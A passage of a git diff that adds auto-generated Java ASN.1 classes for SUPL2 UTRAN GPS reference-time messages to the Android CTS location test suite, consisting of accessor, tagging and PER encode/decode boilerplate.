+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceIdentity() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceIdentity();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceIdentityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PrimaryCPICH_Info.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceIdentity : "
+ + getReferenceIdentity().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("fddType = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
+
+
+ public boolean isFdd() {
+ return !hasExtensionValue() && Select.$Fdd == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isFdd}.
+ */
+ @SuppressWarnings("unchecked")
+ public modeSpecificInfoType.fddType getFdd() {
+ if (!isFdd()) {
+ throw new IllegalStateException("modeSpecificInfoType value not a Fdd");
+ }
+ return (modeSpecificInfoType.fddType) element;
+ }
+
+ public void setFdd(modeSpecificInfoType.fddType selected) {
+ selection = Select.$Fdd;
+ extension = false;
+ element = selected;
+ }
+
+ public modeSpecificInfoType.fddType setFddToNewInstance() {
+ modeSpecificInfoType.fddType element = new modeSpecificInfoType.fddType();
+ setFdd(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+*/
+public static class tddType extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_tddType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public tddType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_tddType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_tddType != null) {
+ return ImmutableList.of(TAG_tddType);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new tddType from encoded stream.
+ */
+ public static tddType fromPerUnaligned(byte[] encodedBytes) {
+ tddType result = new tddType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new tddType from encoded stream.
+ */
+ public static tddType fromPerAligned(byte[] encodedBytes) {
+ tddType result = new tddType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private CellParametersID referenceIdentity_;
+ public CellParametersID getReferenceIdentity() {
+ return referenceIdentity_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CellParametersID
+ */
+ public void setReferenceIdentity(Asn1Object value) {
+ this.referenceIdentity_ = (CellParametersID) value;
+ }
+ public CellParametersID setReferenceIdentityToNewInstance() {
+ referenceIdentity_ = new CellParametersID();
+ return referenceIdentity_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceIdentity() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceIdentity();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceIdentityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CellParametersID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceIdentity : "
+ + getReferenceIdentity().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("tddType = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
+
+
+ public boolean isTdd() {
+ return !hasExtensionValue() && Select.$Tdd == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isTdd}.
+ */
+ @SuppressWarnings("unchecked")
+ public modeSpecificInfoType.tddType getTdd() {
+ if (!isTdd()) {
+ throw new IllegalStateException("modeSpecificInfoType value not a Tdd");
+ }
+ return (modeSpecificInfoType.tddType) element;
+ }
+
+ public void setTdd(modeSpecificInfoType.tddType selected) {
+ selection = Select.$Tdd;
+ extension = false;
+ element = selected;
+ }
+
+ public modeSpecificInfoType.tddType setTddToNewInstance() {
+ modeSpecificInfoType.tddType element = new modeSpecificInfoType.tddType();
+ setTdd(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "modeSpecificInfoType = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sfnType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sfnType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sfnType() {
+ super();
+ setValueRange("0", "4095");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sfnType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sfnType != null) {
+ return ImmutableList.of(TAG_sfnType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sfnType from encoded stream.
+ */
+ public static sfnType fromPerUnaligned(byte[] encodedBytes) {
+ sfnType result = new sfnType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sfnType from encoded stream.
+ */
+ public static sfnType fromPerAligned(byte[] encodedBytes) {
+ sfnType result = new sfnType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sfnType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("UTRAN_GPSReferenceTime = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeAssistance.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeAssistance.java
new file mode 100755
index 0000000..130edb7
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeAssistance.java
@@ -0,0 +1,426 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class UTRAN_GPSReferenceTimeAssistance extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_UTRAN_GPSReferenceTimeAssistance
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public UTRAN_GPSReferenceTimeAssistance() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_UTRAN_GPSReferenceTimeAssistance;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_UTRAN_GPSReferenceTimeAssistance != null) {
+ return ImmutableList.of(TAG_UTRAN_GPSReferenceTimeAssistance);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new UTRAN_GPSReferenceTimeAssistance from encoded stream.
+ */
+ public static UTRAN_GPSReferenceTimeAssistance fromPerUnaligned(byte[] encodedBytes) {
+ UTRAN_GPSReferenceTimeAssistance result = new UTRAN_GPSReferenceTimeAssistance();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new UTRAN_GPSReferenceTimeAssistance from encoded stream.
+ */
+ public static UTRAN_GPSReferenceTimeAssistance fromPerAligned(byte[] encodedBytes) {
+ UTRAN_GPSReferenceTimeAssistance result = new UTRAN_GPSReferenceTimeAssistance();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private UTRAN_GPSReferenceTime utran_GPSReferenceTime_;
+ public UTRAN_GPSReferenceTime getUtran_GPSReferenceTime() {
+ return utran_GPSReferenceTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GPSReferenceTime
+ */
+ public void setUtran_GPSReferenceTime(Asn1Object value) {
+ this.utran_GPSReferenceTime_ = (UTRAN_GPSReferenceTime) value;
+ }
+ public UTRAN_GPSReferenceTime setUtran_GPSReferenceTimeToNewInstance() {
+ utran_GPSReferenceTime_ = new UTRAN_GPSReferenceTime();
+ return utran_GPSReferenceTime_;
+ }
+
+ private UTRAN_GPSReferenceTimeAssistance.gpsReferenceTimeUncertaintyType gpsReferenceTimeUncertainty_;
+ public UTRAN_GPSReferenceTimeAssistance.gpsReferenceTimeUncertaintyType getGpsReferenceTimeUncertainty() {
+ return gpsReferenceTimeUncertainty_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GPSReferenceTimeAssistance.gpsReferenceTimeUncertaintyType
+ */
+ public void setGpsReferenceTimeUncertainty(Asn1Object value) {
+ this.gpsReferenceTimeUncertainty_ = (UTRAN_GPSReferenceTimeAssistance.gpsReferenceTimeUncertaintyType) value;
+ }
+ public UTRAN_GPSReferenceTimeAssistance.gpsReferenceTimeUncertaintyType setGpsReferenceTimeUncertaintyToNewInstance() {
+ gpsReferenceTimeUncertainty_ = new UTRAN_GPSReferenceTimeAssistance.gpsReferenceTimeUncertaintyType();
+ return gpsReferenceTimeUncertainty_;
+ }
+
+ private UTRANGPSDriftRate utranGPSDriftRate_;
+ public UTRANGPSDriftRate getUtranGPSDriftRate() {
+ return utranGPSDriftRate_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRANGPSDriftRate
+ */
+ public void setUtranGPSDriftRate(Asn1Object value) {
+ this.utranGPSDriftRate_ = (UTRANGPSDriftRate) value;
+ }
+ public UTRANGPSDriftRate setUtranGPSDriftRateToNewInstance() {
+ utranGPSDriftRate_ = new UTRANGPSDriftRate();
+ return utranGPSDriftRate_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtran_GPSReferenceTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtran_GPSReferenceTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtran_GPSReferenceTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GPSReferenceTime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utran_GPSReferenceTime : "
+ + getUtran_GPSReferenceTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsReferenceTimeUncertainty() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsReferenceTimeUncertainty();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsReferenceTimeUncertaintyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRAN_GPSReferenceTimeAssistance.gpsReferenceTimeUncertaintyType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsReferenceTimeUncertainty : "
+ + getGpsReferenceTimeUncertainty().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtranGPSDriftRate() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtranGPSDriftRate();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtranGPSDriftRateToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UTRANGPSDriftRate.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utranGPSDriftRate : "
+ + getUtranGPSDriftRate().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gpsReferenceTimeUncertaintyType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gpsReferenceTimeUncertaintyType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gpsReferenceTimeUncertaintyType() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gpsReferenceTimeUncertaintyType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gpsReferenceTimeUncertaintyType != null) {
+ return ImmutableList.of(TAG_gpsReferenceTimeUncertaintyType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gpsReferenceTimeUncertaintyType from encoded stream.
+ */
+ public static gpsReferenceTimeUncertaintyType fromPerUnaligned(byte[] encodedBytes) {
+ gpsReferenceTimeUncertaintyType result = new gpsReferenceTimeUncertaintyType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gpsReferenceTimeUncertaintyType from encoded stream.
+ */
+ public static gpsReferenceTimeUncertaintyType fromPerAligned(byte[] encodedBytes) {
+ gpsReferenceTimeUncertaintyType result = new gpsReferenceTimeUncertaintyType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gpsReferenceTimeUncertaintyType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("UTRAN_GPSReferenceTimeAssistance = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeResult.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeResult.java
new file mode 100755
index 0000000..e022ff7
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/UTRAN_GPSReferenceTimeResult.java
@@ -0,0 +1,1703 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_components.CellParametersID;
+import android.location.cts.asn1.supl2.ulp_components.PrimaryCPICH_Info;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class UTRAN_GPSReferenceTimeResult extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_UTRAN_GPSReferenceTimeResult
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public UTRAN_GPSReferenceTimeResult() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_UTRAN_GPSReferenceTimeResult;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_UTRAN_GPSReferenceTimeResult != null) {
+ return ImmutableList.of(TAG_UTRAN_GPSReferenceTimeResult);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new UTRAN_GPSReferenceTimeResult from encoded stream.
+ */
+ public static UTRAN_GPSReferenceTimeResult fromPerUnaligned(byte[] encodedBytes) {
+ UTRAN_GPSReferenceTimeResult result = new UTRAN_GPSReferenceTimeResult();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new UTRAN_GPSReferenceTimeResult from encoded stream.
+ */
+ public static UTRAN_GPSReferenceTimeResult fromPerAligned(byte[] encodedBytes) {
+ UTRAN_GPSReferenceTimeResult result = new UTRAN_GPSReferenceTimeResult();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private UTRAN_GPSReferenceTimeResult.set_GPSTimingOfCellType set_GPSTimingOfCell_;
+ public UTRAN_GPSReferenceTimeResult.set_GPSTimingOfCellType getSet_GPSTimingOfCell() {
+ return set_GPSTimingOfCell_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GPSReferenceTimeResult.set_GPSTimingOfCellType
+ */
+ public void setSet_GPSTimingOfCell(Asn1Object value) {
+ this.set_GPSTimingOfCell_ = (UTRAN_GPSReferenceTimeResult.set_GPSTimingOfCellType) value;
+ }
+ public UTRAN_GPSReferenceTimeResult.set_GPSTimingOfCellType setSet_GPSTimingOfCellToNewInstance() {
+ set_GPSTimingOfCell_ = new UTRAN_GPSReferenceTimeResult.set_GPSTimingOfCellType();
+ return set_GPSTimingOfCell_;
+ }
+
+ private UTRAN_GPSReferenceTimeResult.modeSpecificInfoType modeSpecificInfo_;
+ public UTRAN_GPSReferenceTimeResult.modeSpecificInfoType getModeSpecificInfo() {
+ return modeSpecificInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GPSReferenceTimeResult.modeSpecificInfoType
+ */
+ public void setModeSpecificInfo(Asn1Object value) {
+ this.modeSpecificInfo_ = (UTRAN_GPSReferenceTimeResult.modeSpecificInfoType) value;
+ }
+ public UTRAN_GPSReferenceTimeResult.modeSpecificInfoType setModeSpecificInfoToNewInstance() {
+ modeSpecificInfo_ = new UTRAN_GPSReferenceTimeResult.modeSpecificInfoType();
+ return modeSpecificInfo_;
+ }
+
+ private UTRAN_GPSReferenceTimeResult.sfnType sfn_;
+ public UTRAN_GPSReferenceTimeResult.sfnType getSfn() {
+ return sfn_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UTRAN_GPSReferenceTimeResult.sfnType
+ */
+ public void setSfn(Asn1Object value) {
+ this.sfn_ = (UTRAN_GPSReferenceTimeResult.sfnType) value;
+ }
+ public UTRAN_GPSReferenceTimeResult.sfnType setSfnToNewInstance() {
+ sfn_ = new UTRAN_GPSReferenceTimeResult.sfnType();
+ return sfn_;
+ }
+
+ private UTRAN_GPSReferenceTimeResult.gpsReferenceTimeUncertaintyType gpsReferenceTimeUncertainty_;
+ public UTRAN_GPSReferenceTimeResult.gpsReferenceTimeUncertaintyType getGpsReferenceTimeUncertainty() {
